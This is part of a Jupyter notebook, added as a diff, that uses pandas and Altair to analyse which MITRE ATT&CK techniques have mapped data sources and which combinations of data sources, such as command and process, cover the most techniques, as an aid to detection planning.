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" + ], + "text/plain": [ + " matrix Ind_DS technique\n", + "0 mitre-attack With DS 520\n", + "1 mitre-attack Without DS 46\n", + "2 mitre-ics-attack With DS 63\n", + "3 mitre-ics-attack Without DS 15\n", + "4 mitre-mobile-attack Without DS 92" + ] + }, + "execution_count": 11, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "data = techniques\n", + "data['Count_DS'] = data['data_sources'].str.len()\n", + "data['Ind_DS'] = np.where(data['Count_DS']>0,'With DS','Without DS')\n", + "data_2 = data.groupby(['matrix','Ind_DS'])['technique'].count()\n", + "data_3 = data_2.to_frame().reset_index()\n", + "data_3" + ] + }, + { + "cell_type": "code", + "execution_count": 12, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "\n", + "
\n", + "" + ], + "text/plain": [ + "alt.Chart(...)" + ] + }, + "execution_count": 12, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "alt.Chart(data_3).mark_bar().encode(x='technique', y='Ind_DS', color='matrix').properties(height = 200)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "What are those mitre-attack techniques without data sources?" + ] + }, + { + "cell_type": "code", + "execution_count": 13, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "
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matrixplatformtactictechniquetechnique_iddata_sourcesCount_DSInd_DS
58mitre-attack[PRE][{'kill_chain_name': 'mitre-attack', 'phase_na...VulnerabilitiesT1588.006NaNNaNWithout DS
66mitre-attack[PRE][{'kill_chain_name': 'mitre-attack', 'phase_na...Purchase Technical DataT1597.002NaNNaNWithout DS
67mitre-attack[PRE][{'kill_chain_name': 'mitre-attack', 'phase_na...Threat Intel VendorsT1597.001NaNNaNWithout DS
68mitre-attack[PRE][{'kill_chain_name': 'mitre-attack', 'phase_na...Search Closed SourcesT1597NaNNaNWithout DS
69mitre-attack[PRE][{'kill_chain_name': 'mitre-attack', 'phase_na...Scan DatabasesT1596.005NaNNaNWithout DS
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" + ], + "text/plain": [ + " matrix platform tactic \\\n", + "58 mitre-attack [PRE] [{'kill_chain_name': 'mitre-attack', 'phase_na... \n", + "66 mitre-attack [PRE] [{'kill_chain_name': 'mitre-attack', 'phase_na... \n", + "67 mitre-attack [PRE] [{'kill_chain_name': 'mitre-attack', 'phase_na... \n", + "68 mitre-attack [PRE] [{'kill_chain_name': 'mitre-attack', 'phase_na... \n", + "69 mitre-attack [PRE] [{'kill_chain_name': 'mitre-attack', 'phase_na... \n", + "\n", + " technique technique_id data_sources Count_DS Ind_DS \n", + "58 Vulnerabilities T1588.006 NaN NaN Without DS \n", + "66 Purchase Technical Data T1597.002 NaN NaN Without DS \n", + "67 Threat Intel Vendors T1597.001 NaN NaN Without DS \n", + "68 Search Closed Sources T1597 NaN NaN Without DS \n", + "69 Scan Databases T1596.005 NaN NaN Without DS " + ] + }, + "execution_count": 13, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "data[(data['matrix']=='mitre-attack') & (data['Ind_DS']=='Without DS')][0:5]" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "### Techniques without data sources" + ] + }, + { + "cell_type": "code", + "execution_count": 14, + "metadata": {}, + "outputs": [], + "source": [ + "techniques_without_data_sources=techniques[techniques.data_sources.isnull()].reset_index(drop=True)" + ] + }, + { + "cell_type": "code", + "execution_count": 15, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "
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matrixplatformtactictechniquetechnique_iddata_sourcesCount_DSInd_DS
0mitre-attack[PRE][{'kill_chain_name': 'mitre-attack', 'phase_na...VulnerabilitiesT1588.006NaNNaNWithout DS
1mitre-attack[PRE][{'kill_chain_name': 'mitre-attack', 'phase_na...Purchase Technical DataT1597.002NaNNaNWithout DS
2mitre-attack[PRE][{'kill_chain_name': 'mitre-attack', 'phase_na...Threat Intel VendorsT1597.001NaNNaNWithout DS
3mitre-attack[PRE][{'kill_chain_name': 'mitre-attack', 'phase_na...Search Closed SourcesT1597NaNNaNWithout DS
4mitre-attack[PRE][{'kill_chain_name': 'mitre-attack', 'phase_na...Scan DatabasesT1596.005NaNNaNWithout DS
\n", + "
" + ], + "text/plain": [ + " matrix platform tactic \\\n", + "0 mitre-attack [PRE] [{'kill_chain_name': 'mitre-attack', 'phase_na... \n", + "1 mitre-attack [PRE] [{'kill_chain_name': 'mitre-attack', 'phase_na... \n", + "2 mitre-attack [PRE] [{'kill_chain_name': 'mitre-attack', 'phase_na... \n", + "3 mitre-attack [PRE] [{'kill_chain_name': 'mitre-attack', 'phase_na... \n", + "4 mitre-attack [PRE] [{'kill_chain_name': 'mitre-attack', 'phase_na... \n", + "\n", + " technique technique_id data_sources Count_DS Ind_DS \n", + "0 Vulnerabilities T1588.006 NaN NaN Without DS \n", + "1 Purchase Technical Data T1597.002 NaN NaN Without DS \n", + "2 Threat Intel Vendors T1597.001 NaN NaN Without DS \n", + "3 Search Closed Sources T1597 NaN NaN Without DS \n", + "4 Scan Databases T1596.005 NaN NaN Without DS " + ] + }, + "execution_count": 15, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "techniques_without_data_sources.head()" + ] + }, + { + "cell_type": "code", + "execution_count": 16, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "There are 153 techniques without data sources ( 21% of 736 techniques)\n" + ] + } + ], + "source": [ + "print('There are ',techniques['data_sources'].isna().sum(),' techniques without data sources (',\"{0:.0%}\".format(techniques['data_sources'].isna().sum()/len(techniques)),' of ',len(techniques),' techniques)')" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "### Techniques With Data Sources" + ] + }, + { + "cell_type": "code", + "execution_count": 17, + "metadata": {}, + "outputs": [], + "source": [ + "techniques_with_data_sources=techniques[techniques.data_sources.notnull()].reset_index(drop=True)" + ] + }, + { + "cell_type": "code", + "execution_count": 18, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "
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matrixplatformtactictechniquetechnique_iddata_sourcesCount_DSInd_DS
0mitre-attack[macOS][{'kill_chain_name': 'mitre-attack', 'phase_na...Resource ForkingT1564.009[Command, Process, File]3.0With DS
1mitre-attack[Windows, Linux, macOS][{'kill_chain_name': 'mitre-attack', 'phase_na...Downgrade AttackT1562.010[Process, Command]2.0With DS
2mitre-attack[macOS][{'kill_chain_name': 'mitre-attack', 'phase_na...Login ItemsT1547.015[Process, File]2.0With DS
3mitre-attack[macOS, Linux, Windows][{'kill_chain_name': 'mitre-attack', 'phase_na...Reflective Code LoadingT1620[Module, Process, Script]3.0With DS
4mitre-attack[IaaS][{'kill_chain_name': 'mitre-attack', 'phase_na...Cloud Storage Object DiscoveryT1619[Cloud Storage]1.0With DS
\n", + "
" + ], + "text/plain": [ + " matrix platform \\\n", + "0 mitre-attack [macOS] \n", + "1 mitre-attack [Windows, Linux, macOS] \n", + "2 mitre-attack [macOS] \n", + "3 mitre-attack [macOS, Linux, Windows] \n", + "4 mitre-attack [IaaS] \n", + "\n", + " tactic \\\n", + "0 [{'kill_chain_name': 'mitre-attack', 'phase_na... \n", + "1 [{'kill_chain_name': 'mitre-attack', 'phase_na... \n", + "2 [{'kill_chain_name': 'mitre-attack', 'phase_na... \n", + "3 [{'kill_chain_name': 'mitre-attack', 'phase_na... \n", + "4 [{'kill_chain_name': 'mitre-attack', 'phase_na... \n", + "\n", + " technique technique_id data_sources \\\n", + "0 Resource Forking T1564.009 [Command, Process, File] \n", + "1 Downgrade Attack T1562.010 [Process, Command] \n", + "2 Login Items T1547.015 [Process, File] \n", + "3 Reflective Code Loading T1620 [Module, Process, Script] \n", + "4 Cloud Storage Object Discovery T1619 [Cloud Storage] \n", + "\n", + " Count_DS Ind_DS \n", + "0 3.0 With DS \n", + "1 2.0 With DS \n", + "2 2.0 With DS \n", + "3 3.0 With DS \n", + "4 1.0 With DS " + ] + }, + "execution_count": 18, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "techniques_with_data_sources.head()" + ] + }, + { + "cell_type": "code", + "execution_count": 19, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "There are 583 techniques with data sources ( 79% of 736 techniques)\n" + ] + } + ], + "source": [ + "print('There are ',techniques['data_sources'].notna().sum(),' techniques with data sources (',\"{0:.0%}\".format(techniques['data_sources'].notna().sum()/len(techniques)),' of ',len(techniques),' techniques)')" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Grouping Techniques With Data Sources By Matrix" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "Let's create a graph to represent the number of techniques per matrix:" + ] + }, + { + "cell_type": "code", + "execution_count": 20, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "\n", + "
\n", + "" + ], + "text/plain": [ + "alt.LayerChart(...)" + ] + }, + "execution_count": 20, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "matrix_distribution = pandas.DataFrame({\n", + " 'Matrix': list(techniques_with_data_sources.groupby(['matrix'])['matrix'].count().keys()),\n", + " 'Count of Techniques': techniques_with_data_sources.groupby(['matrix'])['matrix'].count().tolist()})\n", + "bars = alt.Chart(matrix_distribution).mark_bar().encode(y='Matrix',x='Count of Techniques').properties(width=300,height=100)\n", + "text = bars.mark_text(align='center',baseline='middle',dx=10,dy=0).encode(text='Count of Techniques')\n", + "bars + text" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "All the techniques belong to **mitre-attack** matrix which is the main **Enterprise** matrix. Reference: https://attack.mitre.org/wiki/Main_Page " + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Grouping Techniques With Data Sources by Platform" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "First, we need to split the **platform** column values because a technique might be mapped to more than one platform" + ] + }, + { + "cell_type": "code", + "execution_count": 21, + "metadata": {}, + "outputs": [], + "source": [ + "techniques_platform=techniques_with_data_sources\n", + "\n", + "attributes_1 = ['platform'] # In attributes we are going to indicate the name of the columns that we need to split\n", + "\n", + "for a in attributes_1:\n", + " s = techniques_platform.apply(lambda x: pandas.Series(x[a]),axis=1).stack().reset_index(level=1, drop=True)\n", + " # \"s\" is going to be a column of a frame with every value of the list inside each cell of the column \"a\"\n", + " s.name = a\n", + " # We name \"s\" with the same name of \"a\".\n", + " techniques_platform=techniques_platform.drop(a, axis=1).join(s).reset_index(drop=True)\n", + " # We drop the column \"a\" from \"techniques_platform\", and then join \"techniques_platform\" with \"s\"\n", + "\n", + "# Let's re-arrange the columns from general to specific\n", + "techniques_platform_2=techniques_platform.reindex(['matrix','platform','tactic','technique','technique_id','data_sources'], axis=1)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "We can now show techniques with data sources mapped to one platform at the time" + ] + }, + { + "cell_type": "code", + "execution_count": 22, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "
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matrixplatformtactictechniquetechnique_iddata_sources
0mitre-attackmacOS[{'kill_chain_name': 'mitre-attack', 'phase_na...Resource ForkingT1564.009[Command, Process, File]
1mitre-attackWindows[{'kill_chain_name': 'mitre-attack', 'phase_na...Downgrade AttackT1562.010[Process, Command]
2mitre-attackLinux[{'kill_chain_name': 'mitre-attack', 'phase_na...Downgrade AttackT1562.010[Process, Command]
3mitre-attackmacOS[{'kill_chain_name': 'mitre-attack', 'phase_na...Downgrade AttackT1562.010[Process, Command]
4mitre-attackmacOS[{'kill_chain_name': 'mitre-attack', 'phase_na...Login ItemsT1547.015[Process, File]
\n", + "
" + ], + "text/plain": [ + " matrix platform tactic \\\n", + "0 mitre-attack macOS [{'kill_chain_name': 'mitre-attack', 'phase_na... \n", + "1 mitre-attack Windows [{'kill_chain_name': 'mitre-attack', 'phase_na... \n", + "2 mitre-attack Linux [{'kill_chain_name': 'mitre-attack', 'phase_na... \n", + "3 mitre-attack macOS [{'kill_chain_name': 'mitre-attack', 'phase_na... \n", + "4 mitre-attack macOS [{'kill_chain_name': 'mitre-attack', 'phase_na... \n", + "\n", + " technique technique_id data_sources \n", + "0 Resource Forking T1564.009 [Command, Process, File] \n", + "1 Downgrade Attack T1562.010 [Process, Command] \n", + "2 Downgrade Attack T1562.010 [Process, Command] \n", + "3 Downgrade Attack T1562.010 [Process, Command] \n", + "4 Login Items T1547.015 [Process, File] " + ] + }, + "execution_count": 22, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "techniques_platform_2.head()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "Let's create a visualization to show the number of techniques grouped by platform:" + ] + }, + { + "cell_type": "code", + "execution_count": 23, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "\n", + "
\n", + "" + ], + "text/plain": [ + "alt.LayerChart(...)" + ] + }, + "execution_count": 23, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "platform_distribution = pandas.DataFrame({\n", + " 'Platform': list(techniques_platform_2.groupby(['platform'])['platform'].count().keys()),\n", + " 'Count of Techniques': techniques_platform_2.groupby(['platform'])['platform'].count().tolist()})\n", + "bars = alt.Chart(platform_distribution,height=300).mark_bar().encode(x ='Platform',y='Count of Techniques',color='Platform').properties(width=200)\n", + "text = bars.mark_text(align='center',baseline='middle',dx=0,dy=-5).encode(text='Count of Techniques')\n", + "bars + text" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "In the bar chart above we can see that there are more techniques with data sources mapped to the Windows platform." + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "Defende-evasion and Persistence are tactics with the highest nummber of techniques with data sources" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Grouping Techniques With Data Sources by Data Source" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "We need to split the data source column values because a technique might be mapped to more than one data source:" + ] + }, + { + "cell_type": "code", + "execution_count": 24, + "metadata": {}, + "outputs": [], + "source": [ + "techniques_data_source=techniques_with_data_sources\n", + "\n", + "attributes_3 = ['data_sources'] # In attributes we are going to indicate the name of the columns that we need to split\n", + "\n", + "for a in attributes_3:\n", + " s = techniques_data_source.apply(lambda x: pandas.Series(x[a]),axis=1).stack().reset_index(level=1, drop=True)\n", + " # \"s\" is going to be a column of a frame with every value of the list inside each cell of the column \"a\"\n", + " s.name = a\n", + " # We name \"s\" with the same name of \"a\".\n", + " techniques_data_source = techniques_data_source.drop(a, axis=1).join(s).reset_index(drop=True)\n", + " # We drop the column \"a\" from \"techniques_data_source\", and then join \"techniques_data_source\" with \"s\"\n", + "\n", + "# Let's re-arrange the columns from general to specific\n", + "techniques_data_source_2 = techniques_data_source.reindex(['matrix','platform','tactic','technique','technique_id','data_sources'], axis=1)\n", + "\n", + "# We are going to edit some names inside the dataframe to improve the consistency:\n", + "techniques_data_source_3 = techniques_data_source_2.replace(['Process monitoring','Application logs'],['Process Monitoring','Application Logs'])" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "We can now show techniques with data sources mapped to one data source at the time" + ] + }, + { + "cell_type": "code", + "execution_count": 25, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "
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matrixplatformtactictechniquetechnique_iddata_sources
0mitre-attack[macOS][{'kill_chain_name': 'mitre-attack', 'phase_na...Resource ForkingT1564.009Command
1mitre-attack[macOS][{'kill_chain_name': 'mitre-attack', 'phase_na...Resource ForkingT1564.009Process
2mitre-attack[macOS][{'kill_chain_name': 'mitre-attack', 'phase_na...Resource ForkingT1564.009File
3mitre-attack[Windows, Linux, macOS][{'kill_chain_name': 'mitre-attack', 'phase_na...Downgrade AttackT1562.010Process
4mitre-attack[Windows, Linux, macOS][{'kill_chain_name': 'mitre-attack', 'phase_na...Downgrade AttackT1562.010Command
\n", + "
" + ], + "text/plain": [ + " matrix platform \\\n", + "0 mitre-attack [macOS] \n", + "1 mitre-attack [macOS] \n", + "2 mitre-attack [macOS] \n", + "3 mitre-attack [Windows, Linux, macOS] \n", + "4 mitre-attack [Windows, Linux, macOS] \n", + "\n", + " tactic technique \\\n", + "0 [{'kill_chain_name': 'mitre-attack', 'phase_na... Resource Forking \n", + "1 [{'kill_chain_name': 'mitre-attack', 'phase_na... Resource Forking \n", + "2 [{'kill_chain_name': 'mitre-attack', 'phase_na... Resource Forking \n", + "3 [{'kill_chain_name': 'mitre-attack', 'phase_na... Downgrade Attack \n", + "4 [{'kill_chain_name': 'mitre-attack', 'phase_na... Downgrade Attack \n", + "\n", + " technique_id data_sources \n", + "0 T1564.009 Command \n", + "1 T1564.009 Process \n", + "2 T1564.009 File \n", + "3 T1562.010 Process \n", + "4 T1562.010 Command " + ] + }, + "execution_count": 25, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "techniques_data_source_3.head()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "Let's create a visualization to show the number of techniques grouped by data sources:" + ] + }, + { + "cell_type": "code", + "execution_count": 26, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "\n", + "
\n", + "" + ], + "text/plain": [ + "alt.LayerChart(...)" + ] + }, + "execution_count": 26, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "data_source_distribution = pandas.DataFrame({\n", + " 'Data Source': list(techniques_data_source_3.groupby(['data_sources'])['data_sources'].count().keys()),\n", + " 'Count of Techniques': techniques_data_source_3.groupby(['data_sources'])['data_sources'].count().tolist()})\n", + "bars = alt.Chart(data_source_distribution,width=800,height=300).mark_bar().encode(x ='Data Source',y='Count of Techniques',color='Data Source').properties(width=1200)\n", + "text = bars.mark_text(align='center',baseline='middle',dx=0,dy=-5).encode(text='Count of Techniques')\n", + "bars + text" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "A few interesting things from the bar chart above:\n", + "* Process Monitoring, File Monitoring, and Process Command-line parameters are the Data Sources with the highest number of techniques\n", + "* There are some data source names that include string references to Windows such as PowerShell, Windows and wmi" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Most Relevant Groups Of Data Sources Per Technique" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "### Number Of Data Sources Per Technique" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "Although identifying the data sources with the highest number of techniques is a good start, they usually do not work alone. You might be collecting **Process Monitoring** already but you might be still missing a lot of context from a data perspective." + ] + }, + { + "cell_type": "code", + "execution_count": 27, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "\n", + "
\n", + "" + ], + "text/plain": [ + "alt.LayerChart(...)" + ] + }, + "execution_count": 27, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "data_source_distribution_2 = pandas.DataFrame({\n", + " 'Techniques': list(techniques_data_source_3.groupby(['technique'])['technique'].count().keys()),\n", + " 'Count of Data Sources': techniques_data_source_3.groupby(['technique'])['technique'].count().tolist()})\n", + "\n", + "data_source_distribution_3 = pandas.DataFrame({\n", + " 'Number of Data Sources': list(data_source_distribution_2.groupby(['Count of Data Sources'])['Count of Data Sources'].count().keys()),\n", + " 'Count of Techniques': data_source_distribution_2.groupby(['Count of Data Sources'])['Count of Data Sources'].count().tolist()})\n", + "\n", + "bars = alt.Chart(data_source_distribution_3).mark_bar().encode(x ='Number of Data Sources',y='Count of Techniques').properties(width=500)\n", + "text = bars.mark_text(align='center',baseline='middle',dx=0,dy=-5).encode(text='Count of Techniques')\n", + "bars + text" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "The image above shows you the number data sources needed per techniques according to ATT&CK:\n", + "* There are 71 techniques that require 3 data sources as enough context to validate the detection of them according to ATT&CK\n", + "* Only one technique has 12 data sources\n", + "* One data source only applies to 19 techniques" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "Let's create subsets of data sources with the data source column defining and using a python function:" + ] + }, + { + "cell_type": "code", + "execution_count": 28, + "metadata": {}, + "outputs": [], + "source": [ + "# https://stackoverflow.com/questions/26332412/python-recursive-function-to-display-all-subsets-of-given-set\n", + "def subs(l):\n", + " res = []\n", + " for i in range(1, len(l) + 1):\n", + " for combo in itertools.combinations(l, i):\n", + " res.append(list(combo))\n", + " return res" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "Before applying the function, we need to use lowercase data sources names and sort data sources names to improve consistency:" + ] + }, + { + "cell_type": "code", + "execution_count": 29, + "metadata": {}, + "outputs": [], + "source": [ + "df = techniques_with_data_sources[['data_sources']]" + ] + }, + { + "cell_type": "code", + "execution_count": 30, + "metadata": {}, + "outputs": [], + "source": [ + "for index, row in df.iterrows():\n", + " row[\"data_sources\"]=[x.lower() for x in row[\"data_sources\"]]\n", + " row[\"data_sources\"].sort()" + ] + }, + { + "cell_type": "code", + "execution_count": 31, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "
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data_sources
0[command, file, process]
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2[file, process]
3[module, process, script]
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" + ], + "text/plain": [ + " data_sources\n", + "0 [command, file, process]\n", + "1 [command, process]\n", + "2 [file, process]\n", + "3 [module, process, script]\n", + "4 [cloud storage]" + ] + }, + "execution_count": 31, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "df.head()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "Let's apply the function and split the subsets column:" + ] + }, + { + "cell_type": "code", + "execution_count": 32, + "metadata": {}, + "outputs": [ + { + "name": "stderr", + "output_type": "stream", + "text": [ + ":1: SettingWithCopyWarning: \n", + "A value is trying to be set on a copy of a slice from a DataFrame.\n", + "Try using .loc[row_indexer,col_indexer] = value instead\n", + "\n", + "See the caveats in the documentation: https://pandas.pydata.org/pandas-docs/stable/user_guide/indexing.html#returning-a-view-versus-a-copy\n", + " df['subsets']=df['data_sources'].apply(subs)\n" + ] + } + ], + "source": [ + "df['subsets']=df['data_sources'].apply(subs)" + ] + }, + { + "cell_type": "code", + "execution_count": 33, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "
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data_sourcessubsets
0[command, file, process][[command], [file], [process], [command, file]...
1[command, process][[command], [process], [command, process]]
2[file, process][[file], [process], [file, process]]
3[module, process, script][[module], [process], [script], [module, proce...
4[cloud storage][[cloud storage]]
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" + ], + "text/plain": [ + " data_sources \\\n", + "0 [command, file, process] \n", + "1 [command, process] \n", + "2 [file, process] \n", + "3 [module, process, script] \n", + "4 [cloud storage] \n", + "\n", + " subsets \n", + "0 [[command], [file], [process], [command, file]... \n", + "1 [[command], [process], [command, process]] \n", + "2 [[file], [process], [file, process]] \n", + "3 [[module], [process], [script], [module, proce... \n", + "4 [[cloud storage]] " + ] + }, + "execution_count": 33, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "df.head()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "We need to split the subsets column values:" + ] + }, + { + "cell_type": "code", + "execution_count": 34, + "metadata": {}, + "outputs": [], + "source": [ + "techniques_with_data_sources_preview = df" + ] + }, + { + "cell_type": "code", + "execution_count": 35, + "metadata": {}, + "outputs": [], + "source": [ + "attributes_4 = ['subsets']\n", + "\n", + "for a in attributes_4:\n", + " s = techniques_with_data_sources_preview.apply(lambda x: pandas.Series(x[a]),axis=1).stack().reset_index(level=1, drop=True)\n", + " s.name = a\n", + " techniques_with_data_sources_preview = techniques_with_data_sources_preview.drop(a, axis=1).join(s).reset_index(drop=True)\n", + " \n", + "techniques_with_data_sources_subsets = techniques_with_data_sources_preview.reindex(['data_sources','subsets'], axis=1)\n" + ] + }, + { + "cell_type": "code", + "execution_count": 36, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "
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data_sourcessubsets
0[command, file, process][command]
1[command, file, process][file]
2[command, file, process][process]
3[command, file, process][command, file]
4[command, file, process][command, process]
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" + ], + "text/plain": [ + " data_sources subsets\n", + "0 [command, file, process] [command]\n", + "1 [command, file, process] [file]\n", + "2 [command, file, process] [process]\n", + "3 [command, file, process] [command, file]\n", + "4 [command, file, process] [command, process]" + ] + }, + "execution_count": 36, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "techniques_with_data_sources_subsets.head()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "Let's add three columns to analyse the dataframe: subsets_name (Changing Lists to Strings), subsets_number_elements ( Number of data sources per subset) and number_data_sources_per_technique" + ] + }, + { + "cell_type": "code", + "execution_count": 37, + "metadata": {}, + "outputs": [], + "source": [ + "techniques_with_data_sources_subsets['subsets_name']=techniques_with_data_sources_subsets['subsets'].apply(lambda x: ','.join(map(str, x)))\n", + "techniques_with_data_sources_subsets['subsets_number_elements']=techniques_with_data_sources_subsets['subsets'].str.len()\n", + "techniques_with_data_sources_subsets['number_data_sources_per_technique']=techniques_with_data_sources_subsets['data_sources'].str.len()" + ] + }, + { + "cell_type": "code", + "execution_count": 38, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "
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data_sourcessubsetssubsets_namesubsets_number_elementsnumber_data_sources_per_technique
0[command, file, process][command]command13
1[command, file, process][file]file13
2[command, file, process][process]process13
3[command, file, process][command, file]command,file23
4[command, file, process][command, process]command,process23
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" + ], + "text/plain": [ + " data_sources subsets subsets_name \\\n", + "0 [command, file, process] [command] command \n", + "1 [command, file, process] [file] file \n", + "2 [command, file, process] [process] process \n", + "3 [command, file, process] [command, file] command,file \n", + "4 [command, file, process] [command, process] command,process \n", + "\n", + " subsets_number_elements number_data_sources_per_technique \n", + "0 1 3 \n", + "1 1 3 \n", + "2 1 3 \n", + "3 2 3 \n", + "4 2 3 " + ] + }, + "execution_count": 38, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "techniques_with_data_sources_subsets.head()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "As it was described above, we need to find grups pf data sources, so we are going to filter out all the subsets with only one data source:" + ] + }, + { + "cell_type": "code", + "execution_count": 39, + "metadata": {}, + "outputs": [], + "source": [ + "subsets = techniques_with_data_sources_subsets\n", + "\n", + "subsets_ok=subsets[subsets.subsets_number_elements != 1]" + ] + }, + { + "cell_type": "code", + "execution_count": 40, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "
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data_sourcessubsetssubsets_namesubsets_number_elementsnumber_data_sources_per_technique
3[command, file, process][command, file]command,file23
4[command, file, process][command, process]command,process23
5[command, file, process][file, process]file,process23
6[command, file, process][command, file, process]command,file,process33
9[command, process][command, process]command,process22
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" + ], + "text/plain": [ + " data_sources subsets subsets_name \\\n", + "3 [command, file, process] [command, file] command,file \n", + "4 [command, file, process] [command, process] command,process \n", + "5 [command, file, process] [file, process] file,process \n", + "6 [command, file, process] [command, file, process] command,file,process \n", + "9 [command, process] [command, process] command,process \n", + "\n", + " subsets_number_elements number_data_sources_per_technique \n", + "3 2 3 \n", + "4 2 3 \n", + "5 2 3 \n", + "6 3 3 \n", + "9 2 2 " + ] + }, + "execution_count": 40, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "subsets_ok.head()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "Finally, we calculate the most relevant groups of data sources (Top 15):" + ] + }, + { + "cell_type": "code", + "execution_count": 41, + "metadata": {}, + "outputs": [], + "source": [ + "subsets_graph = subsets_ok.groupby(['subsets_name'])['subsets_name'].count().to_frame(name='subsets_count').sort_values(by='subsets_count',ascending=False)[0:15]" + ] + }, + { + "cell_type": "code", + "execution_count": 42, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "
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subsets_count
subsets_name
command,process206
command,file131
file,process118
command,file,process90
command,windows registry60
process,windows registry59
command,process,windows registry53
application log,network traffic48
command,network traffic45
network traffic,process44
module,process44
file,network traffic39
file,windows registry37
file,process,windows registry33
command,module31
\n", + "
" + ], + "text/plain": [ + " subsets_count\n", + "subsets_name \n", + "command,process 206\n", + "command,file 131\n", + "file,process 118\n", + "command,file,process 90\n", + "command,windows registry 60\n", + "process,windows registry 59\n", + "command,process,windows registry 53\n", + "application log,network traffic 48\n", + "command,network traffic 45\n", + "network traffic,process 44\n", + "module,process 44\n", + "file,network traffic 39\n", + "file,windows registry 37\n", + "file,process,windows registry 33\n", + "command,module 31" + ] + }, + "execution_count": 42, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "subsets_graph" + ] + }, + { + "cell_type": "code", + "execution_count": 43, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "\n", + "
\n", + "" + ], + "text/plain": [ + "alt.LayerChart(...)" + ] + }, + "execution_count": 43, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "subsets_graph_2 = pandas.DataFrame({\n", + " 'Data Sources': list(subsets_graph.index),\n", + " 'Count of Techniques': subsets_graph['subsets_count'].tolist()})\n", + "\n", + "bars = alt.Chart(subsets_graph_2).mark_bar().encode(x ='Data Sources', y ='Count of Techniques', color='Data Sources').properties(width=500)\n", + "text = bars.mark_text(align='center',baseline='middle',dx= 0,dy=-5).encode(text='Count of Techniques')\n", + "bars + text" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "Group (Process Monitoring - Process Command-line parameters) is the is the group of data sources with the highest number of techniques. This group of data sources are suggested to hunt 78 techniques" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Let's Split all the Information About Techniques With Data Sources Defined: Matrix, Platform, Tactic and Data Source" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "Let's split all the relevant columns of the dataframe:" + ] + }, + { + "cell_type": "code", + "execution_count": 44, + "metadata": {}, + "outputs": [ + { + "data": { + "text/html": [ + "
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matrixplatformtactictechniquetechnique_iddata_sources
